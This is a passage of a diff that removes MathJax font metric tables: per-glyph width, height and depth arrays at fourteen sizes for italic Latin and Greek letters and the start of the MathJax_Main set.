-      0x63: [  // LATIN SMALL LETTER C
-        [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-        [13,12,0],[16,15,0],[19,17,0],[22,22,1],[26,26,1],[31,30,1]
-      ],
-      0x64: [  // LATIN SMALL LETTER D
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[12,14,0],[14,15,0],
-        [16,19,0],[19,23,0],[23,26,0],[27,34,1],[32,40,1],[38,46,1]
-      ],
-      0x65: [  // LATIN SMALL LETTER E
-        [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-        [13,12,0],[16,15,0],[19,17,0],[22,22,1],[26,26,1],[31,30,1]
-      ],
-      0x66: [  // LATIN SMALL LETTER F
-        [5,6,1],[5,8,2],[6,8,2],[7,10,2],[8,12,3],[9,14,3],[10,18,4],[12,19,4],
-        [14,25,5],[16,30,6],[19,35,8],[23,44,10],[27,52,12],[32,60,13]
-      ],
-      0x67: [  // LATIN SMALL LETTER G
-        [4,4,1],[5,6,2],[5,6,2],[6,7,2],[7,9,3],[9,10,3],[10,13,4],[12,14,4],
-        [14,17,5],[17,21,6],[20,25,8],[23,31,10],[28,37,12],[33,43,14]
-      ],
-      0x68: [  // LATIN SMALL LETTER H
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,0],
-        [16,19,0],[18,23,0],[22,27,0],[26,34,1],[31,40,1],[36,46,1]
-      ],
-      0x69: [  // LATIN SMALL LETTER I
-        [3,5,0],[3,6,0],[4,6,0],[4,8,0],[5,10,0],[6,11,0],[7,14,0],[8,15,0],
-        [10,18,0],[12,23,0],[14,26,0],[16,32,1],[19,38,1],[23,44,1]
-      ],
-      0x6A: [  // LATIN SMALL LETTER J
-        [4,6,1],[5,8,2],[5,8,2],[6,10,2],[7,13,3],[8,14,3],[9,18,4],[10,20,4],
-        [12,24,5],[14,30,6],[17,34,8],[19,42,10],[23,49,12],[27,57,14]
-      ],
-      0x6B: [  // LATIN SMALL LETTER K
-        [4,5,0],[5,6,0],[5,6,0],[6,8,0],[7,9,0],[9,11,0],[10,14,0],[12,16,0],
-        [14,19,0],[17,23,0],[20,27,0],[24,34,1],[28,40,1],[33,46,1]
-      ],
-      0x6C: [  // LATIN SMALL LETTER L
-        [3,5,0],[3,6,0],[4,6,0],[4,8,0],[5,9,0],[6,11,0],[7,14,0],[8,16,0],
-        [9,19,0],[11,23,0],[13,27,0],[15,34,1],[18,40,1],[21,46,1]
-      ],
-      0x6D: [  // LATIN SMALL LETTER M
-        [6,3,0],[8,4,0],[9,4,0],[10,5,0],[12,6,0],[15,7,0],[17,9,0],[20,10,0],
-        [24,12,0],[28,15,0],[34,17,0],[40,22,1],[48,26,1],[56,30,1]
-      ],
-      0x6E: [  // LATIN SMALL LETTER N
-        [5,3,0],[5,4,0],[6,4,0],[7,5,0],[9,6,0],[10,7,0],[12,9,0],[14,10,0],
-        [17,12,0],[20,15,0],[24,17,0],[28,22,1],[33,26,1],[39,30,1]
-      ],
-      0x6F: [  // LATIN SMALL LETTER O
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[12,10,0],
-        [15,12,0],[18,15,0],[21,17,0],[25,22,1],[29,26,1],[35,30,1]
-      ],
-      0x70: [  // LATIN SMALL LETTER P
-        [4,4,1],[5,6,2],[5,6,2],[6,7,2],[8,9,3],[9,10,3],[10,13,4],[12,14,4],
-        [15,17,5],[17,21,6],[20,24,7],[24,30,9],[29,36,11],[34,43,14]
-      ],
-      0x71: [  // LATIN SMALL LETTER Q
-        [4,4,1],[5,6,2],[5,6,2],[6,7,2],[7,9,3],[9,10,3],[10,13,4],[12,14,4],
-        [14,17,5],[17,21,6],[20,24,7],[24,30,9],[28,36,11],[34,42,13]
-      ],
-      0x72: [  // LATIN SMALL LETTER R
-        [4,3,0],[5,4,0],[5,4,0],[6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],
-        [14,12,0],[16,15,0],[19,17,0],[23,22,1],[27,26,1],[32,30,1]
-      ],
-      0x73: [  // LATIN SMALL LETTER S
-        [3,3,0],[4,4,0],[5,4,0],[5,5,0],[6,6,0],[7,7,0],[9,9,0],[10,11,1],
-        [12,13,1],[14,16,1],[17,17,0],[20,22,1],[24,26,1],[28,30,1]
-      ],
-      0x74: [  // LATIN SMALL LETTER T
-        [3,5,0],[4,6,0],[4,6,0],[5,7,0],[6,9,0],[7,10,0],[8,13,0],[9,15,0],
-        [11,17,0],[13,22,0],[15,25,0],[18,30,1],[21,36,1],[25,42,1]
-      ],
-      0x75: [  // LATIN SMALL LETTER U
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],
-        [16,12,0],[19,15,0],[23,17,0],[27,22,1],[32,26,1],[38,30,1]
-      ],
-      0x76: [  // LATIN SMALL LETTER V
-        [4,3,0],[5,4,0],[5,4,0],[6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],
-        [14,12,0],[17,15,0],[20,17,0],[23,22,1],[28,26,1],[33,30,1]
-      ],
-      0x77: [  // LATIN SMALL LETTER W
-        [5,3,0],[6,4,0],[7,4,0],[9,5,0],[10,6,0],[12,7,0],[14,9,0],[17,10,0],
-        [20,12,0],[23,15,0],[28,17,0],[33,22,1],[39,26,1],[46,30,1]
-      ],
-      0x78: [  // LATIN SMALL LETTER X
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[10,9,0],[12,10,0],
-        [15,12,0],[17,15,0],[21,17,0],[24,22,1],[29,26,1],[34,30,1]
-      ],
-      0x79: [  // LATIN SMALL LETTER Y
-        [4,4,1],[5,6,2],[6,6,2],[7,7,2],[8,9,3],[9,10,3],[11,13,4],[13,14,4],
-        [15,17,5],[18,21,6],[21,25,8],[25,31,10],[29,37,12],[35,43,14]
-      ],
-      0x7A: [  // LATIN SMALL LETTER Z
-        [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-        [13,12,0],[16,15,0],[19,17,0],[22,22,1],[26,26,1],[31,30,1]
-      ],
-      0x7E: [  // TILDE
-        [4,1,-1],[5,1,-2],[6,1,-2],[7,2,-2],[8,2,-3],[10,2,-3],[12,3,-3],[14,4,-4],
-        [16,3,-6],[19,4,-7],[23,5,-8],[27,5,-10],[32,7,-12],[38,7,-14]
-      ],
-      0xA3: [  // POUND SIGN
-        [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,15,0],
-        [20,20,0],[24,24,0],[28,27,0],[33,34,1],[39,41,1],[47,48,1]
-      ],
-      0x131: [  // LATIN SMALL LETTER DOTLESS I
-        [3,3,0],[3,4,0],[4,4,0],[4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],
-        [10,12,0],[12,15,0],[14,17,0],[16,22,1],[19,26,1],[23,30,1]
-      ],
-      0x237: [  // LATIN SMALL LETTER DOTLESS J
-        [4,4,1],[4,6,2],[5,6,2],[5,7,2],[6,9,3],[7,10,3],[8,13,4],[9,14,4],
-        [11,17,5],[12,21,6],[15,25,8],[18,31,10],[21,37,12],[24,43,14]
-      ],
-      0x393: [  // GREEK CAPITAL LETTER GAMMA
-        [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,15,0],
-        [20,19,0],[24,23,0],[28,26,0],[33,33,0],[39,38,0],[47,45,0]
-      ],
-      0x394: [  // GREEK CAPITAL LETTER DELTA
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,15,0],
-        [21,20,0],[25,24,0],[30,28,0],[35,34,0],[42,41,0],[50,47,0]
-      ],
-      0x398: [  // GREEK CAPITAL LETTER THETA
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[14,11,0],[16,14,0],[19,16,1],
-        [22,21,1],[26,25,1],[31,27,0],[37,35,1],[44,42,1],[52,48,1]
-      ],
-      0x39B: [  // GREEK CAPITAL LETTER LAMDA
-        [5,5,0],[6,7,1],[7,7,1],[8,9,1],[9,10,1],[11,12,1],[13,15,1],[15,16,1],
-        [18,21,1],[22,25,1],[26,28,1],[31,35,1],[36,42,1],[43,48,1]
-      ],
-      0x39E: [  // GREEK CAPITAL LETTER XI
-        [6,6,1],[7,7,1],[8,7,1],[9,9,1],[11,10,1],[13,12,1],[15,15,1],[18,16,1],
-        [21,20,1],[25,24,1],[30,27,1],[36,33,0],[42,40,1],[50,46,1]
-      ],
-      0x3A0: [  // GREEK CAPITAL LETTER PI
-        [6,5,0],[8,6,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],[17,14,0],[20,15,0],
-        [24,19,0],[29,23,0],[34,26,0],[40,33,0],[48,39,0],[57,45,0]
-      ],
-      0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[13,11,0],[16,14,0],[19,15,0],
-        [22,19,0],[26,23,0],[31,26,0],[37,33,0],[44,39,0],[52,45,0]
-      ],
-      0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-        [6,5,0],[7,6,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],[17,14,0],[20,15,0],
-        [23,20,0],[28,24,0],[33,27,0],[39,33,0],[46,40,0],[55,46,0]
-      ],
-      0x3A6: [  // GREEK CAPITAL LETTER PHI
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[17,15,0],
-        [21,19,0],[24,23,0],[29,26,0],[34,33,0],[41,39,0],[48,45,0]
-      ],
-      0x3A8: [  // GREEK CAPITAL LETTER PSI
-        [6,5,0],[7,6,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],[17,14,0],[20,15,0],
-        [23,19,0],[28,23,0],[33,26,0],[39,33,0],[46,39,0],[55,45,0]
-      ],
-      0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,15,0],
-        [21,20,0],[25,24,0],[30,27,0],[36,34,0],[42,40,0],[50,47,0]
-      ]
-    },
-
-    "MathJax_Main": {
-      0x20: [  // SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x21: [  // EXCLAMATION MARK
-        [2,5,0],[2,6,0],[2,8,0],[3,8,0],[3,9,0],[4,12,0],[4,14,0],[5,18,0],
-        [6,21,0],[7,24,0],[8,29,0],[10,34,0],[11,40,0],[14,48,0]
-      ],
-      0x22: [  // QUOTATION MARK
-        [3,3,-2],[4,3,-3],[4,4,-4],[5,4,-4],[6,5,-4],[7,6,-6],[8,7,-7],[9,8,-9],
-        [11,10,-10],[13,11,-12],[15,13,-15],[18,15,-18],[21,18,-21],[25,22,-25]
-      ],
-      0x23: [  // NUMBER SIGN
-        [6,6,1],[7,8,2],[8,10,2],[10,10,2],[11,12,3],[13,16,4],[16,18,4],[19,22,5],
-        [22,26,6],[26,30,7],[31,35,8],[37,42,9],[43,50,11],[52,60,13]
-      ],
-      0x24: [  // DOLLAR SIGN
-        [4,6,1],[4,8,1],[5,10,1],[6,9,1],[7,11,1],[8,15,1],[9,17,1],[11,20,1],
-        [13,24,2],[15,27,2],[18,33,2],[21,38,2],[25,45,3],[30,54,3]
-      ],
-      0x25: [  // PERCENT SIGN
-        [6,6,1],[7,8,1],[8,10,1],[10,10,1],[11,11,1],[13,15,1],[16,16,1],[19,20,1],
-        [22,24,2],[26,29,3],[31,33,3],[37,38,3],[43,46,3],[52,54,4]
-      ],
-      0x26: [  // AMPERSAND
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,19,1],
-        [21,22,1],[24,25,1],[29,30,0],[34,35,2],[41,41,1],[48,49,1]
-      ],
-      0x27: [  // APOSTROPHE
-        [2,3,-2],[2,3,-3],[3,4,-4],[3,4,-4],[3,5,-4],[4,6,-6],[5,7,-7],[5,8,-9],
-        [6,10,-10],[7,11,-12],[9,13,-15],[10,15,-18],[12,18,-21],[14,22,-25]
-      ],
-      0x28: [  // LEFT PARENTHESIS
-        [3,7,2],[3,9,2],[4,12,3],[4,12,3],[5,14,3],[6,18,4],[7,21,5],[8,25,6],
-        [10,29,7],[11,34,8],[13,41,10],[16,47,12],[19,56,14],[22,67,17]
-      ],
-      0x29: [  // RIGHT PARENTHESIS
-        [3,7,2],[3,9,2],[3,12,3],[4,12,3],[5,14,3],[5,18,4],[6,21,5],[7,25,6],
-        [9,29,7],[10,34,8],[12,41,10],[14,47,12],[17,56,14],[20,67,17]
-      ],
-      0x2A: [  // ASTERISK
-        [3,3,-3],[4,4,-3],[5,5,-4],[6,5,-4],[6,6,-4],[8,8,-6],[9,9,-7],[10,11,-8],
-        [12,13,-9],[15,15,-11],[17,18,-13],[20,21,-15],[24,25,-18],[29,29,-21]
-      ],
-      0x2B: [  // PLUS SIGN
-        [5,5,1],[6,6,1],[8,8,1],[9,8,1],[10,9,1],[12,12,1],[14,14,2],[17,17,2],
-        [20,20,2],[24,23,3],[28,27,3],[34,32,4],[40,38,5],[48,45,5]
-      ],
-      0x2C: [  // COMMA
-        [2,2,1],[2,4,2],[3,4,2],[3,4,2],[3,5,3],[4,7,4],[5,7,4],[5,8,5],
-        [6,10,6],[7,12,7],[9,13,8],[10,15,9],[12,18,11],[14,22,13]
-      ],
-      0x2D: [  // HYPHEN-MINUS
-        [2,1,-1],[3,1,-1],[3,1,-2],[4,1,-2],[4,1,-2],[5,3,-2],[6,3,-3],[7,2,-4],
-        [8,3,-5],[10,3,-6],[11,3,-7],[13,4,-8],[16,5,-10],[19,5,-12]
-      ],
-      0x2E: [  // FULL STOP
-        [2,1,0],[2,2,0],[2,2,0],[3,2,0],[3,2,0],[4,3,0],[4,3,0],[5,3,0],
-        [6,4,0],[7,5,0],[8,5,0],[10,6,0],[11,7,0],[14,9,0]
-      ],
-      0x2F: [  // SOLIDUS
-        [4,7,2],[4,9,2],[5,11,3],[6,11,3],[7,14,3],[8,18,4],[9,20,5],[11,25,6],
-        [13,29,7],[15,34,8],[18,40,10],[21,47,12],[25,56,14],[30,67,17]
-      ],
-      0x30: [  // DIGIT ZERO
-        [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-        [13,21,1],[16,25,1],[18,28,0],[22,32,1],[26,39,1],[31,46,1]
-      ],
-      0x31: [  // DIGIT ONE
-        [3,5,0],[4,6,0],[5,8,0],[6,8,0],[6,9,0],[8,12,0],[9,14,0],[10,17,0],
-        [12,20,0],[15,23,0],[17,27,0],[20,31,0],[24,37,0],[29,45,0]
-      ],
-      0x32: [  // DIGIT TWO
-        [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,17,0],
-        [13,20,0],[15,23,0],[18,27,0],[21,32,0],[25,37,0],[30,45,0]
-      ],
-      0x33: [  // DIGIT THREE
-        [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-        [13,21,1],[15,24,1],[18,28,0],[22,32,0],[26,39,0],[30,46,0]
-      ],
-      0x34: [  // DIGIT FOUR
-        [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[10,14,0],[11,17,0],
-        [14,20,0],[16,23,0],[19,27,0],[22,32,0],[27,38,0],[31,46,0]
-      ],
-      0x35: [  // DIGIT FIVE
-        [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,10,0],[8,12,0],[9,14,0],[11,18,1],
-        [13,21,1],[15,24,1],[18,28,1],[21,32,1],[25,39,1],[30,47,2]
-      ],
-      0x36: [  // DIGIT SIX
-        [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-        [13,21,1],[15,24,1],[18,28,0],[22,33,2],[26,39,1],[30,46,1]
-      ],
-      0x37: [  // DIGIT SEVEN
-        [4,5,0],[5,6,0],[5,8,0],[6,8,0],[7,10,0],[9,12,0],[10,14,0],[12,18,1],
-        [14,21,1],[16,24,1],[19,27,0],[23,33,1],[27,39,1],[32,47,1]
-      ],
-      0x38: [  // DIGIT EIGHT
-        [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-        [13,21,1],[16,24,1],[18,28,0],[22,32,1],[26,39,1],[31,46,1]
-      ],
-      0x39: [  // DIGIT NINE
-        [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-        [13,20,1],[16,23,1],[18,28,0],[22,32,1],[26,38,1],[31,46,1]
-      ],
-      0x3A: [  // COLON
-        [2,3,0],[2,4,0],[2,5,0],[3,5,0],[3,6,0],[4,8,0],[4,9,0],[5,11,0],
-        [6,13,0],[7,14,0],[8,17,0],[10,20,0],[11,24,0],[14,29,0]
-      ],
-      0x3B: [  // SEMICOLON
-        [2,4,1],[2,6,2],[2,7,2],[3,7,2],[3,9,3],[4,12,4],[4,13,4],[5,16,5],
-        [6,19,6],[7,21,7],[8,25,8],[10,29,9],[12,35,11],[14,42,13]
-      ],
-      0x3C: [  // LESS-THAN SIGN
-        [5,4,0],[6,6,0],[7,7,0],[9,7,0],[10,8,0],[12,11,0],[14,12,0],[17,15,1],
-        [20,17,1],[23,20,1],[28,24,2],[33,28,2],[39,33,2],[46,39,3]
-      ],
-      0x3D: [  // EQUALS SIGN
-        [5,2,-1],[6,3,-1],[8,3,-1],[9,3,-1],[10,4,-2],[12,4,-2],[15,5,-3],[17,6,-3],
-        [20,8,-3],[24,10,-4],[29,10,-5],[34,11,-6],[40,13,-7],[48,16,-9]
-      ],
-      0x3E: [  // GREATER-THAN SIGN
-        [5,4,0],[6,6,0],[7,7,0],[9,7,0],[10,8,1],[12,11,1],[14,12,1],[17,15,1],
-        [20,17,1],[23,20,1],[28,24,2],[33,28,2],[39,33,2],[46,39,3]
-      ],
-      0x3F: [  // QUESTION MARK
-        [3,5,0],[4,6,0],[5,8,0],[5,8,0],[6,9,0],[7,12,0],[9,14,0],[10,18,0],
-        [12,21,0],[14,24,0],[17,29,0],[20,33,0],[23,40,0],[28,47,0]
-      ],
-      0x40: [  // COMMERCIAL AT
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,18,0],
-        [20,21,0],[24,24,0],[29,30,0],[34,34,0],[40,40,0],[48,48,0]
-      ],
-      0x41: [  // LATIN CAPITAL LETTER A
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,18,0],
-        [20,21,0],[24,24,0],[29,29,0],[34,34,0],[40,40,0],[48,48,0]
-      ],
-      0x42: [  // LATIN CAPITAL LETTER B
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],
-        [18,20,0],[22,23,0],[26,27,0],[31,32,0],[36,38,0],[43,46,0]
-      ],
-      0x43: [  // LATIN CAPITAL LETTER C
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[13,14,0],[16,19,1],
-        [19,22,1],[22,25,1],[27,29,0],[31,34,1],[37,41,1],[44,49,1]
-      ],
-      0x44: [  // LATIN CAPITAL LETTER D
-        [5,5,0],[6,6,0],[7,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-        [20,20,0],[24,23,0],[28,28,0],[33,32,0],[40,38,0],[47,46,0]
-      ],
-      0x45: [  // LATIN CAPITAL LETTER E
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],
-        [18,20,0],[22,23,0],[26,27,0],[31,32,0],[36,38,0],[43,46,0]
-      ],
-      0x46: [  // LATIN CAPITAL LETTER F
-        [5,5,0],[6,6,0],[6,8,0],[8,8,0],[9,9,0],[11,12,0],[12,14,0],[15,17,0],
-        [17,20,0],[20,23,0],[24,27,0],[29,32,0],[34,38,0],[40,46,0]
-      ],
-      0x47: [  // LATIN CAPITAL LETTER G
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,19,1],
-        [21,22,1],[25,25,1],[29,29,0],[34,35,2],[41,42,2],[49,49,2]
-      ],
-      0x48: [  // LATIN CAPITAL LETTER H
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-        [21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]
-      ],
-      0x49: [  // LATIN CAPITAL LETTER I
-        [3,5,0],[3,6,0],[4,8,0],[4,8,0],[5,9,0],[6,12,0],[7,14,0],[8,17,0],
-        [10,20,0],[12,23,0],[14,27,0],[16,32,0],[19,38,0],[23,46,0]
-      ],
-      0x4A: [  // LATIN CAPITAL LETTER J
-        [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[10,14,0],[11,18,1],
-        [13,21,1],[16,24,1],[19,27,0],[22,32,0],[26,39,1],[31,47,1]
-      ],
-      0x4B: [  // LATIN CAPITAL LETTER K
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-        [21,20,0],[25,23,0],[29,27,0],[35,32,0],[41,38,0],[49,46,0]
-      ],
-      0x4C: [  // LATIN CAPITAL LETTER L
-        [5,5,0],[5,6,0],[6,8,0],[7,8,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],
-        [17,20,0],[20,23,0],[23,27,0],[28,32,0],[33,38,0],[39,46,0]
-      ],
-      0x4D: [  // LATIN CAPITAL LETTER M
-        [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-        [25,20,0],[30,23,0],[35,28,0],[42,32,0],[50,38,0],[59,46,0]
-      ],
-      0x4E: [  // LATIN CAPITAL LETTER N
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-        [21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]
-      ],
-      0x4F: [  // LATIN CAPITAL LETTER O
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,19,1],
-        [20,22,1],[24,25,1],[29,29,0],[34,34,1],[40,41,1],[48,49,1]
-      ],
-      0x50: [  // LATIN CAPITAL LETTER P
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-        [18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,38,0],[42,46,0]
-      ],
-      0x51: [  // LATIN CAPITAL LETTER Q
-        [6,6,1],[7,8,2],[8,10,2],[9,10,2],[11,12,3],[13,16,4],[15,18,4],[17,23,5],
-        [21,27,6],[24,31,7],[29,36,8],[34,42,9],[41,51,11],[48,60,13]
-      ],
-      0x52: [  // LATIN CAPITAL LETTER R
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,18,1],
-        [21,21,1],[25,24,1],[29,27,0],[34,32,0],[41,39,1],[49,48,2]
-      ],
-      0x53: [  // LATIN CAPITAL LETTER S
-        [4,5,0],[5,6,0],[5,8,0],[6,8,0],[7,9,0],[9,12,0],[10,14,0],[12,19,1],
-        [14,22,1],[17,25,1],[20,29,0],[24,34,1],[28,41,1],[33,49,1]
-      ],
-      0x54: [  // LATIN CAPITAL LETTER T
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[14,14,0],[16,17,0],
-        [19,20,0],[23,23,0],[27,27,0],[32,32,0],[38,38,0],[45,46,0]
-      ],
-      0x55: [  // LATIN CAPITAL LETTER U
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,18,1],
-        [21,21,1],[24,24,1],[29,27,0],[34,33,1],[41,40,2],[48,48,2]
-      ],
-      0x56: [  // LATIN CAPITAL LETTER V
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,18,1],
-        [21,21,1],[24,24,1],[29,27,0],[34,34,2],[41,40,2],[48,48,2]
-      ],
-      0x57: [  // LATIN CAPITAL LETTER W
-        [7,5,0],[9,6,0],[10,8,0],[12,8,0],[14,9,0],[17,12,0],[20,14,0],[24,18,1],
-        [28,21,1],[34,24,1],[40,27,0],[47,34,2],[56,40,2],[67,48,2]
-      ],
-      0x58: [  // LATIN CAPITAL LETTER X
-        [5,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-        [21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]
-      ],
-      0x59: [  // LATIN CAPITAL LETTER Y
-        [6,6,1],[7,7,1],[8,9,1],[9,9,1],[11,10,1],[13,13,1],[15,15,1],[18,18,1],
-        [21,21,1],[25,24,1],[29,28,1],[35,33,1],[41,39,1],[49,47,1]
-      ],
-      0x5A: [  // LATIN CAPITAL LETTER Z
-        [4,6,1],[5,7,1],[6,9,1],[7,9,1],[8,10,1],[10,13,1],[11,15,1],[13,18,1],
-        [16,21,1],[19,24,1],[22,27,0],[26,32,0],[31,38,0],[37,46,0]
-      ],
-      0x5B: [  // LEFT SQUARE BRACKET
-        [2,7,2],[3,10,3],[3,12,3],[3,12,3],[4,14,4],[5,18,5],[5,20,5],[6,25,6],
-        [8,30,8],[9,35,9],[10,40,10],[12,47,12],[15,56,14],[17,67,17]
-      ],
-      0x5C: [  // REVERSE SOLIDUS
-        [4,7,2],[4,9,2],[5,11,3],[6,11,3],[7,14,3],[8,18,4],[9,20,5],[11,25,6],
-        [13,29,7],[15,34,8],[18,40,10],[21,47,12],[25,56,14],[30,67,17]
-      ],
-      0x5D: [  // RIGHT SQUARE BRACKET
-        [2,7,2],[2,10,3],[2,12,3],[2,12,3],[3,14,4],[3,18,5],[4,20,5],[4,25,6],
-        [5,30,8],[6,35,9],[7,40,10],[8,47,12],[9,56,14],[11,67,17]
-      ],
-      0x5E: [  // CIRCUMFLEX ACCENT
-        [3,2,-3],[4,3,-4],[4,3,-5],[5,3,-5],[6,3,-7],[7,4,-9],[8,4,-10],[9,5,-13],
-        [11,6,-15],[13,7,-17],[16,7,-21],[18,9,-24],[22,10,-29],[26,12,-35]
-      ],
-      0x5F: [  // LOW LINE
-        [4,2,1],[5,2,1],[5,2,1],[6,2,1],[7,2,1],[9,2,1],[10,2,1],[12,3,2],
-        [14,4,3],[17,4,3],[20,4,3],[24,4,3],[28,4,3],[33,5,4]
-      ],
-      0x60: [  // GRAVE ACCENT
-        [3,2,-3],[3,2,-4],[3,3,-5],[4,3,-5],[5,3,-6],[5,4,-8],[6,4,-10],[7,6,-12],
-        [9,7,-14],[10,7,-17],[12,8,-20],[14,10,-23],[17,11,-28],[20,13,-34]
-      ],
-      0x61: [  // LATIN SMALL LETTER A
-        [4,3,0],[5,4,0],[5,5,0],[6,5,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],
-        [14,13,0],[17,15,0],[20,18,0],[23,21,0],[28,26,0],[33,31,0]
-      ],
-      0x62: [  // LATIN SMALL LETTER B
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,14,0],[13,17,0],
-        [15,20,0],[18,23,0],[21,29,0],[25,33,0],[29,40,0],[35,47,0]
-      ],
-      0x63: [  // LATIN SMALL LETTER C
-        [3,3,0],[4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,8,0],[9,9,0],[10,11,0],
-        [12,13,0],[14,15,0],[17,18,0],[20,21,0],[23,26,0],[28,31,0]
-      ],
-      0x64: [  // LATIN SMALL LETTER D
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,14,0],[13,17,0],
-        [15,20,0],[18,23,0],[21,29,0],[25,33,0],[30,40,0],[36,47,0]
-      ],
-      0x65: [  // LATIN SMALL LETTER E
-        [3,3,0],[4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,8,0],[9,9,0],[10,11,0],
-        [12,13,0],[14,15,0],[17,18,0],[20,21,0],[23,26,0],[28,31,0]
-      ],
-      0x66: [  // LATIN SMALL LETTER F
-        [3,5,0],[4,6,0],[4,8,0],[5,8,0],[6,9,0],[7,12,0],[8,14,0],[9,18,0],
-        [11,21,0],[13,24,0],[15,29,0],[18,33,0],[21,40,0],[25,47,0]
-      ],
-      0x67: [  // LATIN SMALL LETTER G
-        [4,4,1],[5,6,2],[5,7,2],[6,7,2],[7,9,3],[9,12,4],[10,13,4],[12,16,5],
-        [14,19,6],[16,22,7],[19,26,8],[23,30,9],[27,37,11],[32,44,13]
-      ],
-      0x68: [  // LATIN SMALL LETTER H
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[11,14,0],[13,17,0],
-        [16,20,0],[18,23,0],[22,27,0],[26,32,0],[31,38,0],[36,46,0]
-      ],
-      0x69: [  // LATIN SMALL LETTER I
-        [2,5,0],[3,6,0],[3,8,0],[3,8,0],[4,9,0],[5,12,0],[5,14,0],[6,17,0],
